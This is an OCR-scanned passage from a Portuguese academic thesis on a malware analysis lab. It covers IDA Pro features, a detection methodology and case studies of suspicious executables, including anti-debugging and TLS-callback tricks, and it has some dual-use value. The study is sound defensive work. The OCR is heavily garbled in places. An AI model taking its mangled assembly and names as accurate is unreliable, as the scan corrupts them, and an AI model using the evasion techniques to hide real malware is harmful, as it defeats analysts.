Mostra todos os nomes identificados e/ou criados pelo IDA e os criados pelo préprio
analista. Com essa lista, pode-se chegar a qualquer dado do programa rapidamente.
Lista de strings

Mostra todos os textos reconhecidos pelo IDA.

Lista de fungdes

Mostra todas as fungdes identificadas pelo IDA, tanto as pertencentes a bibliotecas
como as nomeadas automaticamente pelo IDA.
Lista de funcdes importadas

Mostra a lista de fungdes que o IDA identifica como sendo importadas de DLLs
externas. Elas sdo representadas no c6digo apenas pelas suas declaracoes.
Lista de fung¢des exportadas

Mostra as func¢des que o programa exporta.

Visao hexadecimal

Mostra o contetido dos bytes do programa.

Estruturas e enumeracgdes

Mostra as estruturas e enumeragdes identificadas pelo IDA.

Debugger

Faz com que o cdédigo seja executado instrugdo por instru¢do. Permite que cada
instrugdo seja estudada separadamente.
Scripts

Permite rodar scripts no IDA, fazendo-o executar as instrugdes contidas no proprio
script, como renomear fungdes colocando o niimero de vezes que a funcdo € chamada.
Grafico de Chamadas

Representa a relacao entre fungdes do executavel.

Nesse gréfico, as fun¢des sao os nds e as chamadas de funcao sdo as arestas.

Um exemplo pode ser visto na Figura 28.
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sub_439CRE sub_4493395 sub_47FEEB sub_40ECE8 sub_45808F

sub_472F427 sub_42F 06D sub_47E34C sub_47DGBC sub_45028F

Figura 28: Exemplo de grdfico de chamadas

e (rafico de Fluxo de Controle

D4 uma visdo geral do executdvel, separando-o em blocos bésicos'.

Nesse grafico, os blocos basicos sdo os nds e as arestas sdo os caminhos l6gicos

possiveis.

Pode-se ver um exemplo na Figura 29.

push &0h

push offsel unk_SBDES0
call rnear pir unk_S55ZA0
oy edi, Hh

o ear, edi

&1l near pir_unk 555400
oy [ebp-18h1, esp

o esi, esp

oy [esi], edi

push esi

call ds:GetversiorEnt; Gel extended irformation about 1he
oy ecr, [esi+llh]
mow dword _SEZZ3C, ecH
oy ead, [esi+d]

moy dword _SEZZAS, eax
oy edr, [esi+d]

mow dword_SEZZAC, edw
oy esi, [esi+iCh]

and esi, TFFFh
0 dword _SEZZA0, esi

cmp ecr, Z
iz short Toc_S5ECCHA
|
&
o esi, B000K
mav dword SEZZ80, esi

loc_E5EC00A:
=hl ear, 8

add ear, edn

mow dword_SEZZ44, eax

wor esi, esi

push esi

o edi , ds:hetboduleHard]ed
call edi ; GelModuleHandled
cmp word pir [eax], SA40h
inz short 1oc_ 555005

+

Figura 29: Exemplo de grdfico de fluxo de controle

A seguir, tem-se uma sequéncia de atividades que servem para descobrir funcionamentos

maliciosos.

A andlise desses funcionamentos, ou seja, saber o que os trechos de cdigo fazem exata-
mente quando o software € executado, € de imprescindivel importancia para o veredicto final,

que € considerd-lo malicioso ou ndo.

Bloco basico é a maior sequéncia de instru¢des executadas antes de um salto condicional.
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1. Descobrir o basico

e Analisar a Lista de Strings do programa
Essa lista poderd dar informacdes importantes sobre o funcionamento do pro-
grama, ja que as palavras identificadas podem ser parametros de funcdes, funcoes,
etc.
Ao ser examinada a lista, pode-se descobrir, por exemplo, textos caracteristicos
de mensagens de e-mail, nomes de usudrios, sites da Web, que podem ser acessa-
dos durante a execu¢do do programa, comandos de comunicacdo com servidores e

outros.

e Descobrir as fungdes importadas
Muitas funcdes de bibliotecas importadas podem ser chamadas por funcdes do
préprio programa. Saber quais sdo essas funcdes importadas, quais as fungdes in-
ternas que as chamam e o porqué destas as chamarem pode dizer muito sobre o

comportamento do programa.

e Procurar por assinaturas de codigo
O programa pode possuir cddigo padriao inserido por compiladores ou pode
ter sido compilado estaticamente com suas bibliotecas. Encontrar quais sdo esses
cddigos evita o trabalho de ter de analisd-los e ainda pode dar informacdes sobre

qual o compilador utilizado.

Nem sempre a informacao ganha com essa procura por assinaturas ¢ util.

e Passar para a visualizacdo gréfica

Ap0s a identificacdo de algumas fun¢des importantes com o que foi descrito até
aqui, ja se comeca a ter uma ideia das funcionalidades do programa.

Assim, uma visualiza¢io do grifico de chamadas passa a ser interessante. Isso
vai descrever o comportamento geral do cédigo que estd sendo estudado, mostrando
quais sdo as fungdes mais importantes e aquelas que apenas sao chamadas em casos

especificos.
Um exemplo disso € uma fun¢do maliciosa que s6 € executada caso o programa
nao esteja sendo analisado em um debugger, no intuito de se camuflar do analista.
o Identificar fungdes bésicas

Através das fun¢des identificadas até agora, deve-se procurar descobrir o funcio-
namento das fun¢des mais simples do programa, as quais, normalmente, sdo aquelas
que aparecem nas folhas do grafico de chamada.

Identificando-as, o funcionamento geral do programa comeca a ser delineado e

passa-se a ter mais informacdes sobre o funcionamento do programa.
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A utilizagdo de graficos de chamada e de controle de fluxo facilita essa identifi-

cacgao.

2. Procurar por técnicas anti-engenharia reversa

Ao ser realizada a descoberta dos pontos bésicos do programa, algumas técnicas anti-

engenharia reversa podem ser encontradas:

e Deteccdo de debugger

Procurar por fungdes que detectam a utilizagdo de debugger, como a IsDebug-

gerPresent(), pertencente a biblioteca “Kernel32.d11”.

Essas funcdes podem ser utilizadas para esconder comportamentos maliciosos

do analista e, consequentemente, dificultar sua andlise.

e (Cdbdigos ndo alinhados

Caracterizada pela larga utilizacdo de JUMPs e CALLs, € utilizada para dificul-
tar a analise, confundindo o analista diante de saltos incondicionais e chamadas a

funcdes que, muitas vezes, ndo tém nenhum comportamento importante.

e Deteccdo de mdquina virtual

Similar a detec¢do de debugger, porém para maquinas virtuais.

3. Emular o programa

Caso a descoberta anterior ndo tenha encontrado pontos suficientes para se dizer se
um arquivo € malicioso ou ndo, seja pelo codigo estar ofuscado ou entdo por ser muito

complexo, € interessante executar o programa em um ambiente emulado.

O IDA Pro tem um plugin para emular uma CPU X86, o que torna possivel executar
um programa malicioso sem risco de comprometer a maquina, pois as instrugdes sao

executadas em um processador virtual.

E importante verificar se ndo existem func¢des de callback e, se existirem, o que elas
fazem. Para isso, deve-se colocar um breakpoint na primeira instru¢do do programa e
executd-lo. A existéncia de algum comportamento inesperado indica a presenca desse

tipo de fun¢do. Com isso, deve-se procura-la e identificar seu comportamento.

4. Dar o veredicto baseado na Analise Estatica

Como na Andlise Comportamental, apds realizados todos os itens anteriores e de
posse de todas as informacdes e dados adquiridos com eles, deve ser concluido se o
software estudado € considerado malicioso ou se nao ha provas suficientes para que ele o

seja.
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8.3.3 Determinacao da Maliciosidade

Levando em consideragdo todos os dados e informacdes coletadas e os veredictos das Ana-
lises Comportamental e Estética, € dado o veredicto final, o qual condena o software, dizendo
que ele é malicioso, ou entdo, se ndo houver provas suficientes para isso, o arquivo estudado

ndo deve ser considerado malicioso.
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9 Estudo de Casos como Prova de
Conceito do Uso do Laboratorio de
Analise de Malware

Como prova de conceito do uso do Laboratério de Andlise de Malware, passardo pela
metodologia para o processo de detecgdao de malware quatro arquivos coletados na web e sus-
peitos de serem maliciosos € um malware criado no trabalho, cujo cédigo-fonte encontra-se no

Apéndice A.

Suas andlises seguirdo a seguinte ordem:

e Descri¢cdo breve do funcionamento do programa antes da andlise sobre o ponto de vista

do usuario;

e Desenvolvimento da Andlise Comportamental, mostrando a analise dos resultados obti-
dos pelo Process Explorer e pelo Regshot. Os dados encontrados por esse tltimo estao
no apéndice do presente trabalho. Por questdes de seguranga, a maquina estd em um am-
biente isolado, impossibilitando a utilizacdo do Wireshark para a captura do trafego de

rede;

e Desenvolvimento da Engenharia Reversa, através dos processos de depuracdo e transfor-

macao em linguagem de maquina utilizando o IDA Pro Free; e

e Diagnéstico do c6digo como malicioso ou nao.

Dado o diagnéstico baseado na metodologia criada para deteccao de malwares, o arquivo
serd analisado por um site chamado VirusTotal (www.virustotal.com.br), no qual em torno de
40 antivirus renomados escaneiam o programa e depois € mostrada uma estatistica de quantos

deles o consideram uma praga virtual.

Esse diagnoéstico secundario € feito com o intuito de verificar a eficicia da metodologia.
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9.1 Artefato 1

O primeiro arquivo analisado neste estudo possui o nome de “acer.jpg.exe”. Ao executé-lo,
a unica mudancga observada € o desaparecimento do arquivo da pasta corrente. Caso a visibili-
dade dos arquivos ocultos seja liberada, serd possivel observar que o arquivo ainda encontra-se

escondido em seu lugar original, conforme mostra a Figura 30.

File Edit View Favorites Tools Help

¥ P o [F-

Desktop|E:

File and Folder Tasks S| aerjprexe

£ Make & new folder
& Publish his folder to the
WWeb:

| Share this Folder

Other Places ¥

319 KB 4 My Computer

Figura 30: Arquivo “acerjpg.exe” oculto em sua pasta.

9.1.1 Analise Comportamental

e Process Explorer

Inicialmente, cabe comentar sobre uma funcionalidade do Process Explorer que fa-
cilita a andlise. Caso determinado processo seja considerado malicioso pelo software, a
linha que o representa estard marcada com a cor roxa. A Figura 31 contém uma fotografia

com esse recurso sendo utilizado.

Sendo assim, pela Figura 32, observa-se que o processo executado ao se abrir o ar-
quivo estd nessa cor, o que ja indica que ele pode ser um malware. O processo filho
desse processo (de cor verde por ter sido inicializado no instante da fotografia) desapa-
rece pouco depois de ser iniciado, como pode se ver na Figura 33. Esse comportamento

suspeito o faz ser considerado um malware.

H4 ainda outro fator importante que o caracteriza como um processo suspeito: a
auséncia de descri¢do e companhia responsdvel pelo produto. Isso € sempre um sinal que

deve ser considerado na analise.
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Figura 31: Potenciais processos maliciosos para o Process Explorer
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i4 start

Figura 32: Arquivo recém-executado
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CPU Usage: 1.56% Commit Charge: 9.59% | Processes: 26

Figura 33: Arquivo um tempo depois de ser executado

e Regshot

Ao fazer uma busca breve sobre os valores modificados em negrito no registro (vide
Apéndice B), verifica-se que eles estdo ligados ao Firewall do Windows. Os demais
repetem-se em todos os artefatos, sendo provavelmente uma alteracio do registro feita

pelo evento da segunda captura do Regshot.

Sendo assim, unindo os resultados das duas ferramentas, esse cédigo é considerado mali-

cioso do ponto de vista da Andlise Comportamental.
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Ap6s a andlise do programa, alguns fatores comuns a cédigos maliciosos foram encontra-

dos:

e Lista de funcdes importadas

Segue, na Figura 34, as funcdes importadas que sdo utilizadas pelo programa:

[Cn ity Hesx Wiew- éﬁ Exports % Imparts | W Mames .‘EI] Functions || " Stk
Addrezs

a0 (J04FE300
Ein D04FEI04
BLn 004FEI03
BEE 004FE30C
BEE O04FG314
BEr O04FE31C
BEE 004FE324
BEE 004FE32C
EEE 004FE334
Brn O04FEI3C
Bin D04FE344
BLn O04FEI4C
BEE 004FE354
BEE O04FI5C
BEE 004FEI64

M ame
LoadLibram:,
GetProcdddress
Yirtualtlloc

VirtualFree
GettevboardTppe

R egluenisalusE
SyzFreeSting
Werlluent! alusd,
Unrealize0bject

[sE qualzUID
ImageList_SetlconSize
SHGetFilelnfod,
[nternetS et phiond,

ColnternetCreateonebd anager

SHaAUtComplete

Figura 34: Lista de fungées importadas do “acer.,jpg.exe”

Libram

kernel32
kemel32
kemel32
kemel32
Lserds
advapid?
oleaut32
WETZIoh
qdi32
ole32
comct32
zhell32
wininet
URLMOM
ghlwapi

Vé-se a presenca das seguintes fungdes que normalmente sio utilizadas para fins

maliciosos (foram explicadas na secdo 5.5):

— LoadLibraryA

— GetProcAddress

— RegQueryValueExA

Nota-se que, ao ser aberto, o arquivo referencia fun¢des de manipulagcdo de registros do

Windows. Um software nao malicioso ndo costuma referenciar esse tipo de arquivo, ja que

nao pretende mudar nenhuma configuragcdo ou informacao salva do sistema operacional.

e Lista de nomes (vide Figura 35)

Como pode ser visto, nada muito diferente do que as funcdes importadas foram en-

contrados pelo IDA Pro, mostrando novamente nomes sugestivos a uma maliciosidade.
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1004 Wig-A, Het Wigim-d, gﬁl Ewporte % Imports H Mames

MHame Address P
A st Tauo003 O04F3C40
I Loadlibran Q04F&300
I GetProcaddress Q04Fe304
I virtualaloc 004FE308
I vitualFree 004FE30C
I GetkeyboardType Q04FE914
I RegluervalusExs, Q04FE31C
I SysFreeSting O04FE924
I veruenialues, Q04FE32C
I UnrealizeObject Q04FE334
I 1sEqualGLID Q04FE33C
I Imagelist SeticonSize Q04FE344
I SHGetFilelnfod O04FES4C
I IntemetSetOptiond Q04FE954
I ColnternetCreateZonet anager Q04FE35C
I SHAutoComplets 004FE964
D TisDirectony Q04F 7370
D Tisindex 004F 7354
D Ti:Calbacks 004F 7993
D TisStart O04F 7930
D TisEnd O04F794C

Figura 35: Lista de nomes do “acerjpg.exe”

De acordo com as fungdes e nomes encontrados, a Engenharia Reversa mostra que o ar-

quivo é malicioso.

9.1.3 Resultado da Metodologia

Unindo os resultados da Analise Comportamental e da Engenharia Reversa, pode-se dizer

que o arquivo é malicioso.

9.1.4 Resultado do VirusTotal

Como pode ser visto na Figura 36, 33 dos 42 antivirus que o escanearam consideram o

artefato 1 um malware.

) total

SHAZSE: ad 7 ed7E4d24307 cb109b56 d7 35605 c 3ddb2001 0451664 cEe3hadcabBa o2
File name: ACEr R exe
Detection ratio: 33 /742

Analysis date: 20M12-06-13 18:28:19 UTC {20 minutes ago )

Figura 36: Estatisticas do artefato 1 geradas no VirusTotal



82

9.2 Artefato 2

O segundo arquivo analisado € chamado “isDebuggerPresent.exe”. Ao executd-lo, um
terminal se abre e, em seguida, uma janela de didlogo € aberta com a mensagem “No debugger

detected, execute normally”, como se vé na Figura 37.

@ BEE

No debugger detected  [X)

Mo debugger detected, executing normally.

Figura 37: Execucdo Inicial de “isDebuggerPresent.exe”

9.2.1 Analise Comportamental

e Process Explorer

Do ponto de vista da andlise dos processos em execucdo, esse arquivo nao possui
atividades suspeitas. O Process Explorer ndo o considera como tal (a cor de seu processo
ndo € roxa, como se v€ na Figura 38) e ele ndo possui uso largo de CPU. A tunica suspeita
sobre este arquivo € a auséncia de descricdo e companhia responsdvel, mas isto ndo é

suficiente para considerd-lo um malware.

e Regshot

Os valores modificados sdo comuns as trés andlises de registro realizadas, que suspeita-

se ser acdo da segunda captura (vide Apéndice C).

Como a captura de processos e a captura de modificagdes no registro do sistema ndo
apresentaram comportamentos estranhos, esse c6digo ndo pode ser considerado um malware

pela Andlise Comportamental.
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File Options Wiew Process Find Users Help
FaliH [ 10 IYWIH| U] i,i (0@ BHEEE # S
Process FID CPU  User Name Description Company Mame
] Spstem |dle Process 0 98.44 NT AUTHORITYASYSTEM
= ] Spstem 4 NT AUTHORITYASYSTEM
T Interupts nfa <001 Hatdwars Interupts and DPCs
= [ smss.exe 412 NT AUTHORITYASYSTEM Windows NT Session Mana... Microsoft Corporation
[ osrss.exe B52 NT AUTHORITYASYSTEM Clignt Server Runtime Process Microsoft Corporation
= g winlogon exe 576 MT AUTHORITYASYSTEM Windows NT Logon Applicat. . Microsoft Corparation
= [ services.exe 720 NT AUTHORITYASYSTEM Services and Controller app Microsoft Corporation
[F ¥macthip. exe 888 NT AUTHORITYASYSTEM Whware Activation Helper Whlware, Inc.
=) E svchast exe 904 NT AUTHORITYASYSTEM Generic Host Process for 'Wi.. Miciosoft Corporation
[ svehost exe 972 NT AUTHORITYWMETWORK SERYICE Generic Host Process for Wi Microsoft Corparation
=l [F svehost. exe 1008 NT AUTHORITYASYSTEM Generic Host Process bor Wi... Microsoft Corporation
& wuauch exe 1500 NT AUTHORITYASYSTEM Automatic Updates Microsoft Corporation
E svchost exe 1056 NT AUTHORITWMETWORK SERYICE Generic Host Process for Wi Microsoft Corparation
[F svehost exe 1120 NT AUTHORITYA\LOCAL SERVICE Generic Host Process for Wi... Microsoft Corporation
[ spoalsv. exe 1368 NT AUTHORITYASYSTEM Spooler SubSystem App Microsoft Corporation
(i ymtoalsd exe 1584 NT AUTHORITYASYSTEM WMware Tools Core Service Whware, Inc
\al YMUpgradeHelper...| 1628 NT AUTHORITYASYSTEM Whiweare wirtual hardware up... Whware, Inc
Tslgexe 1900 MT AUTHORITYSLOCAL SERWICE  Application Layer Gateway S. . Miciosoft Corporation
[F svehast. exe B9E NT AUTHORITYASYSTEM Generic Host Process for Wi... Microsoft Corporation
[Fksass.exe 732 NT AUTHORITYASYSTEM LS54 Shel [Export Version] Microsoft Corporation
= j explorer exe 132 FINAMCAS-BE 31C2%Administiatar “windows Explorer Microsoft Carporation
) WMwareUser.exe 264 FINAMCAS-EE31C2\Administrator Whiware Tools Service Whware, Inc.
2 procesp eve 1148 FINAMCAS-BE 31 C2\Administratar Sysinternals Process Explarer  Sysinternals - www. sysinter
ﬁgjlegshol e 1604 FINAMCAS-BE 31 C2%administrator
[T1sDebuggerPresent.exe 2032 FINAMCAS-EE31C2\Administrator
2 procesp.exe 232 1.56 FINAMCAS BEF1C2\Admiristrator Gysintemals Process Explorer  Sysinternals - www. sysinter
14 mspaint.exe B5E FINAMCAS-EE21C2\Administrator Paint Microsoft Corporation
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CPUUsage: 1.56%  Commit Charge: 10.50% Processes: 27

Figura 38: Execucdo do Process Explorer apds a execugdo do Artefato 2

9.2.2 Engenharia Reversa

De forma bem clara, quando o arquivo foi executado dentro do IDA Pro, seu comporta-

mento se alterou.

Ao executd-lo, um terminal se abre e, em seguida, uma janela de didlogo € aberta com a
mensagem “Debugger detected!”, como se vé na Figura 39, contrastando com a mensagem que

aparece se 0 mesmo arquivo for executado fora do debugger.

|5 1DA ViewESP D4 ViewEIP | B Thieads | # General registers

Debupger detected

Debugger detected

Figura 39: Execucdo de “isDebuggerPresent.exe” no interior do IDA Pro
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Esse tipo de acontecimento faz referéncia a uma técnica utilizada pelos c6digos maliciosos
denominada deteccao de debugger. Quando o malware reconhece que ele estd sendo executado
dentro de um debugger, o que significa que seu funcionamento pode estar sendo estudado, ele

altera seu comportamento para ndo ser detectado.

Uma anélise mais aprofundada de seu c6digo pode mostrar claramente a presenca da fun-
cao IsDebbugerPresent() pertencente a biblioteca Kernel32.dll do Windows. Ela retorna verda-

deiro caso o programa esteja sendo executado a0 mesmo tempo que um debugger.

Pode-se ver na Figura 40 a lista de strings do arquivo analisado identificando a funcdo

IsDebuggerPresent().

[0, Wiew-dy Hesx Wiew-£, gﬁl Exparts % Imports | M Names ."LEI] Functions | " Strings

Address Length T.. String
L rdata0.. 000000ZE C Mo debugger detected, executing normally.

o rdatac(.. 000000
" rdata0.. 00000015 C Mo debugger detected
. rdata0.. 00000074 C Debugger detected.
L rdata0.. 00000026 C Failed lnading library kermel32. dll.n
C
C

|DebuggerPresent

o rdatac0.. 00000012
" data.. 0000003 Failed to resolve kemel32.1:0ebuggerPresent]].\n
“trdatal.. 00000OOOC kernel32.dil

Debugger detected

Figura 40: Lista de strings de “isDebuggerPresent.exe”

Através do grafico de fluxo de controle do programa, Figura 41, um trecho foi extraido para
que possa ser visualizada a bifurcacao criada pela funcdo. Pode se ver claramente a diferenca

na sequéncia das instrug¢des caso algum debugger esteja sendo executado ou nao.

A informacao de qual compilador foi utilizado na geragcdo do c6digo assembly do arquivo

também foi colhida através da lista de strings e pode ser vista na Figura 42.

Como nada além da fun¢do de deteccdo de debugger foi detectada, ndo ha provas sufici-

entes, no ambito da Engenharia Reversa, para considera-lo malicioso.

9.2.3 Resultado da Metodologia

A juncdo dos resultados da Analise Comportamental, a qual ndo encontrou nenhum mo-
vimento suspeito por parte do arquivo analisado, com os da Engenharia Reversa, que verificou
apenas a presenga de uma técnica anti-debugger, nao foi suficiente para considerar o arquivo

como malicioso.



00401049 : .
- may BS1, ESf
=R
? False push of fset Eaptinn ; "Debugger detected"
E:;] :!?rd;j§1E4E msh  offset (aption ; "Debugger detected"
2 -
= push I hWnd
:311 --chlesp call s Messagefoxd ?
ES B3y, E3X '
% short Toc_ 40405 o
Fush offset str_DebuggerDetected_; "Debugger detected .hn"
call _Frintf
True add esp, 4
mp short loc_4010FF
Toc_401005
mov  Es1, Esp
push [ ; ulype

push  offset str_NolebuggerDetected; "No debugger detected”
push  offset Text ; "No debugger detected, executing normall”. ..

push I

; hind

rall s Messagefoxd

cp st esp

call  __chiesp

msh  offset str_NoDebuggerDetectedExecut ingornally__0; "No debugger detected, executing normall” ...
call  _printf

add esp, 4
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Figura 41: Trecho extraido do grdfico de fluxo de controle do “isDebuggerPresent.exe”

DA View-& HexView-s | 2 Ewports % Imports | N Mames -’[ﬂ] Functions | ™" Strings

Address

Length T...  Shing

B data 0. 00000023 C Microgoft Yisual C++ Debug Library

Figura 42: Informacées sobre o compilador do “isDebuggerPresent.exe”
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9.2.4 Resultado do VirusTotal

Como pode ser visto na Figura 43, nenhum dos 41 antivirus que o escanearam consideram

o artefato 2 um malware.

] total

SHAZSE: beadaes7cb10e0c150h7 d5a37 bE427 Ddbfbfeab 184 34fd ab4 4 eeb524 602 o b1
File narne: lsDebuggerPresent. exe
Detection ratio: 07471

Analysis date: 2012-06-13 18:32:21 UTC {16 minutes ago )

Figura 43: Estatisticas do artefato 2 geradas no VirusTotal

9.3 Artefato 3

O terceiro arquivo analisado é chamado “tls.exe”. Ao executd-lo, um terminal se abre e,
em seguida, uma janela de didlogo € aberta com a mensagem “Hello, world!”’, como se vé na

Figura 44.

Hidden message E|

Hello, world!

4

Figura 44: Execucdo Inicial de “tls.exe”

9.3.1 Analise Comportamental

e Process Explorer

Assim como para o artefato anterior, o Process Explorer ndo identifica o processo
como malicioso. Como pode ser visto na Figura 45, a cor do processo € azul (legenda
do software para processos abertos pelo usudrio). O tunico rastro que o artefato deixa é a
auséncia de companhia responsavel e descri¢do do arquivo, fator que sé permite levantar

suspeitas contra o arquivo.
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b o 11 |[E| 1| L), [id @ BEER|&F % A
Process FID| CPU | User Name Description Company Name
| 0 98.44 NT AUTHOR EM
= ] System 4 NT AUTHORITYASYSTEM
T Internupts nfa <001 Hatdwars Interupts and DPCs
= [ smss.exe 420 NT AUTHORITYASYSTEM Windows NT Session Mana... Microsoft Corporation
[ esrss.ene 652 NT AUTHORITYASYSTEM Clignt Server Runtime Process Microsoft Corporation
a _ﬂj winlogon, exe 630 NT AUTHORITYSYSTEM “Windows NT Logan Applicat.. Microsoft Corporation
= [ services.exe 728 NT AUTHORITYASYSTEM Services and Controller app Microsoft Corporation
[F macthin exe 832 NT AUTHORITYASYSTEM Whdware Activation Helpar WMuare, Inc
= [ svehast exe 904 NT AUTHORITYASYSTEM Generic Host Process for Wi... Microsoft Corporation
Esvchﬂsl enE 1mz NT AUTHORITYMETWORK SERYICE Generic Host Process for Wi Microsoft Corparation
[T svehost exe 1104 NT AUTHORITYASYSTEM Generic Host Process for Wi... Microsoft Corporation
[T svehost exe 1158 NT AUTHORITYWMET'WORK SERVICE Generic Hast Process for Wi, Microsoft Carporation
Esvchosl e 1368 NT AUTHORITYALOCAL SERVICE Generic Host Process for 'wi.. Microsoft Corporation
[T spoolsv.exe 1528 NT AUTHORITYASYSTEM Spocler SubSystem App Microsoft Corporation
mvmtnﬂ\sd e 1828 NT AUTHORITYASYSTEM Whware Tools Core Service  Whware, Inc.
\ ¥MUpgiadeHelper...| 1360 NT AUTHORITYASYSTEM Whiware virtual hardware up... Whware, Inc.
[ slg exe 476 NT AUTHORITYA\LOCAL SERVICE Application Layer Gateway 5., Microsoft Corporation
Esvchosl e 1320 NT AUTHORITYASYSTEM Generic Host Process for 'wi.. Microsoft Corporation
[Fksass.exve 740 NT AUTHORITASYSTEM LSA Shell [Export Yersion] Microsoft Corporation
=] j explorer.exe 1584 FINANCAS-BE 31C2%Administiatar “windows Explorer Micrasoft Corporation
) VM warelser.exe 1916 FINANCAS-EE21C2\Administrator Whiware Tools Service Whdware, Inc.
glegshnl =] 576 FINANCAS-BE 31 C2\Administrator
2 procesp.sie 1392 1.56 FINANCAS-GE 31C2\Adrinistrator Gysintemals Process Explorer  Sysinternals - wow. sysinter.
[tz exe 1212 FINANCAS-EE31C2\Administrator

CPU Usage: 1.56%  Commit Charge: §.32% Processes: 24

‘g start  [E.

Figura 45: Execucdo do Process Explorer apds a execugdo do Artefato 3

e Regshot

Assim como no Artefato 2, os valores modificados sdo comuns as trés analises de

registro realizadas, que suspeita-se ser acao da segunda captura (vide Apéndice D).

Como a captura de processos e a captura de modificagdes no registro do sistema nao
apresentaram comportamentos estranhos, esse c6digo ndo pode ser considerado um malware

pela Andlise Comportamental.

9.3.2 Engenharia Reversa

Em um primeiro momento, ndo foi notado nada que pudesse indicar o arquivo como sus-

peito de apresentar maliciosidade.

Porém, ao ser colocado um breakpoint na primeira instru¢do do c6digo, notou-se que
outras instrucdes eram executadas antes mesmo da primeira, pois a mesma janela de didlogo de

quando ele € completamente executado apareceu.

Além disso, muitas bibliotecas foram carregadas (vide Figura 46), sendo que a primeira

linha de c6digo ndo fazia alusao a nenhum carregamento.

Esse técnica € utilizada através de func¢oes de callback e visam a execucao de linhas de

cddigo antes do comeco do programa.

A técnica funciona da seguinte forma: no momento que o sistema operacional inicializa as

varidveis do programa (antes da execu¢do da primeira instru¢io), algumas fun¢des do mesmo
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public start

start procC near
LN text:AA4A1408

start endp
<

Debugger: Process started: C:hDocuments and SettingshadministratorsDesktoph\ExemploshSessaonshstls, exe
Oebugger: Library loaded: C:swWINDOWSSSystemzzhntdl1.d11

Debugger: Library Toaded: CisWINDOWShWSystem3zhkernel3z.dll

Oebugger: Library loaded: CiswWINDOWSSSystemzzhuserzz.dll

Oebugger: Library loaded: C:oSwWINDOWSSSystem3zhgdizz.dll

Debugger: Library Toaded: CisWINDOWSSSystem32huxtheme,dll

bOebugger: Library loaded: C:SwWINDOWSSSystem3ziymswort.dll

Debugger: Library Toaded: CisWINDOWSHSywstem3zhadwapilz.dll

Oebugger: Library loaded: C:SwWINDOWSSsystem2zhrpcrtd.dll

Oebugger: Frocess terminated (exit code = 0h).

[sEalataialnials

Figura 46: Bibliotecas carregadas antes da execucdo da “primeira” instrucdo de “tls.exe”

podem ser realizadas para executar essa tarefa. Isso permite que trechos de c6digo sejam exe-

cutados antes mesmo que o debugger assuma a execugdo do programa no ponto de entrada.

O TLS (Thread Local Storage), como dito na secdo 4.1.1, é a estrutura responsdvel por
manter a separacao de dados entre as diferentes threads de um mesmo processo. As rotinas
de inicializacdo do TLS sdo chamadas antes do ponto de entrada, no momento de criagcao dos

threads.

A insercdo de codigos como fungdes de callback no TLS permite executar c6digo antes
do ponto de entrada do programa, o que permite decriptografar, descompactar ou até mesmo

modificar o cddigo para confundir quem o analisa.

Com um estudo mais aprofundado, foi encontrado o trecho de cédigo pertencente a uma

funcao de callback no TLS que executa a abertura da janela de didlogo. Esse cddigo se encontra

na Figura 47.
.text:00401618 TlsCallback_8  proc near ; DATA ¥REF: .text:TlsCallbackslo
.text:BB4B1618
.text:00401618 arg_4 = dword ptr BCh
.text:BB4B1618
* _text:004081618 060 push ebp
* .text:88481619 084 mou ebp, esp
* _text:00408161B 004 cnp [ebp+arg_ 4], 1
* .text:8848161F 0884 jnz short loc_4B163B
text:poup161F
* .text:88481621 884 push a ; uType
* _text:004081623 068 push offset Caption ; "Hidden message"
* .text:00401628 0BAC push offset Text s "Hello, world?™
* .text:0040162D 010 push a ; hlnd
* .text:BB4B162F 814 call MessageBoxA
text:pBup162F
* .text:88481634 084 push a ; UExitCode
* .text:88481636 008 call ExitProcess
text:BB4B1636
.text:B040163B
.text:BB48163B loc_4B8163B: ; CODE XREF: TlsCallback_8+7Tj
* _text:0040163B 004 pop ebp
* .text:8848163C 088 retn Ach
text:pBup163C
-text:0848163C TlsCallback_8  endp

Figura 47: Trecho de codigo que representa a funcdo de callback do “tls.exe”

Porém, essa funcao de callback ndo realiza nenhuma instrucao prejudicial ao sistema.
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Foram também encontradas informagdes sobre o compilador utilizado na geragdo do c6-
digo assembly do programa através de uma andlise na lista de strings. Elas se encontram na

Figura 48.

1Dt W= Hex Wigi-a, éh Exports I% Imports | M Mames .‘EI] Funn::tin:uns| et 5"""93[

.data:00... 0000003 [ Borland C++ - Copyright 2002 Borland Corporation
" daka 0., 0000000 C Borland32

Address Length T.. *  Shing

Figura 48: Trecho extraido da lista de strings que mostra o compilador do “tls.exe”

Como nada além de uma funcao de callback a qual ndo apresenta nenhuma instru¢ao mali-
ciosa foi detectada, ndo hd provas suficientes, no ambito da Engenharia Reversa, para considera-

lo malicioso.

9.3.3 Resultado da Metodologia

A juncdo dos resultados da Andlise Comportamental, a qual ndo encontrou nenhum mo-
vimento suspeito por parte do arquivo analisado, com os da Engenharia Reversa, que verificou
apenas a presenca de uma fun¢ao de callback que nao apresentava nenhuma instrugao prejudi-

cial ao sistema, nao foi suficiente para considerar o arquivo como malicioso.

9.3.4 Resultado do VirusTotal

Como pode ser visto na Figura 49, nenhum dos 42 antivirus que o escanearam consideram

o artefato 3 um malware.

2] total

SHAZSE: di¥aebcfE39a202944 c348560103b54 ef1 d550138e6938f4328495341 e23bhde
File narme: tls. exe
Detection ratio; 0/ 42

Analysis date: 2012-06-13 18:31:30 UTC [ 32 minutes ago )

Figura 49: Estatisticas do artefato 3 geradas no VirusTotal
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9.4 Artefato 4

O artefato 4 € chamado “nopack”. Apds sua execucdo, aparentemente apenas o arquivo
desaparece. Apds tornar os arquivos ocultos visiveis, observa-se que ele apenas estd oculto no

mesmo local.

9.4.1 Analise Comportamental

e Process Explorer

Nao foi possivel realizar anélises profundas com o Process Explorer. O tempo de
vida do processo era curto o suficiente para impedir qualquer verificacio das DLLs que

ele acessou.

e Regshot

Os unicos registros modificados apds a execucao do arquivo sao registros do préprio

evento do Regshot. O programa executado em si aparentemente ndo modificou nada.

Sendo assim, pela Anélise Comportamental, esse cddigo ndo possui indicios para ser con-

siderado malicioso.

9.4.2 Engenharia Reversa

Inicialmente, foi analisada a Lista de Strings do arquivo, a qual pode ser vista na Figura
50.

[C1 Wien-d, Hesx Wiew-f gﬂ E=ports % Imports | M Mames ‘[;F_I] Functiong [ "~ Strings H‘

Address Length
L CODE:0... 00000011
. CODE:0... 00000019
. CODE:D.. 00000020
L CODE:0... 00000005
L CODE:0... 00000005 BEEE

.. CODE:0... 00000000 kernel32.di

T... | Shing
C
C
C
C
C
C
Lt CODE:D... 00000014 C GetDizkFreeSpaceb«d,
C
C
C
C
C
C

GetlangPatht armes,
Softwareh\Borland\\Locales
SoftwarehE orlands\Delphit\Locales
Y

